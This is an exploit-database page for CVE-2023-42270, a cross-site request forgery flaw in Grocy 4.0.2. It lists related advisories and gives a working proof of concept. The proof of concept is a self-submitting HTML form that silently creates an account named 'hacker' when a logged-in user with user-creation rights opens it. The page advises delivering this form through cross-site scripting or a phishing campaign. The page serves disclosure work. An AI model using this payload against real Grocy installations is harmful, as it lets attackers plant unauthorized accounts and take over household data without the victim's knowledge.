Grocy 4.0.2 Cross Site Request Forgery

🗓️ 02 Feb 2024 00:00:00Reported by Chance ProctorType

packetstorm🔗 packetstormsecurity.com👁 280 Views

Grocy 4.0.2 CSRF Vulnerability, allows unauthorized users to create accounts via HTML code injection.

Reporter	Title	Published	Views	Family All 11
0day.today	Grocy <= 4.0.2 - CSRF Vulnerability	31 Jan 202400:00	–	zdt
ATTACKERKB	CVE-2023-42270	15 Sep 202314:15	–	attackerkb
Circl	CVE-2023-42270	15 Sep 202318:25	–	circl
CNNVD	Grocy Household Management Cross-Site Request Forgery Vulnerability	15 Sep 202300:00	–	cnnvd
CVE	CVE-2023-42270	15 Sep 202300:00	–	cve
Cvelist	CVE-2023-42270	15 Sep 202300:00	–	cvelist
Exploit DB	Grocy <=4.0.2 - CSRF	31 Jan 202400:00	–	exploitdb
NVD	CVE-2023-42270	15 Sep 202314:15	–	nvd
Prion	Cross site request forgery (csrf)	15 Sep 202314:15	–	prion
Positive Technologies	PT-2023-28304 · Grocy · Grocy	15 Sep 202300:00	–	ptsecurity

`# Exploit Title: Grocy <= 4.0.2 CSRF Vulnerability  
# Application: Grocy  
# Version: <= 4.0.2  
# Date: 09/21/2023  
# Exploit Author: Chance Proctor  
# Vendor Homepage: https://grocy.info/  
# Software Link: https://github.com/grocy/grocy  
# Tested on: Linux  
# CVE : CVE-2023-42270  
  
  
  
Overview  
==================================================  
When creating a new user in Grocy 4.0.2, the new user request is made using JSON formatting.  
This makes it easy to adjust your request since it is a known format.   
There is also no CSRF Token or other methods of verification in place to verify where the request is coming from.  
This allows for html code to generate a new user as long as the target is logged in and has Create User Permissions.  
  
  
  
Proof of Concept  
==================================================  
Host the following html code via a XSS or delivery via a phishing campaign:  
  
<html>  
<form action="/api/users" method="post" enctype="application/x-www-form-urlencoded">  
<input name='username' value='hacker' type='hidden'>  
<input name='password' value='test' type='hidden'>  
<input type=submit>  
</form>  
<script>  
history.pushState('','', '/');  
document.forms[0].submit();  
</script>  
</html>  
  
  
If a user is logged into the Grocy Webapp at time of execution, a new user will be created in the app with the following credentials  
  
Username: hacker  
Password: test  
  
Note:  
In order for this to work, the target must have Create User Permissions.  
This is enabled by default.  
  
  
  
Proof of Exploit/Reproduce  
==================================================  
http://xploit.sh/posts/cve-2023-42270/  
  
`

02 Feb 2024 00:00Current

7.4High risk

Vulners AI Score7.4

CVSS 3.18.8

EPSS0.00185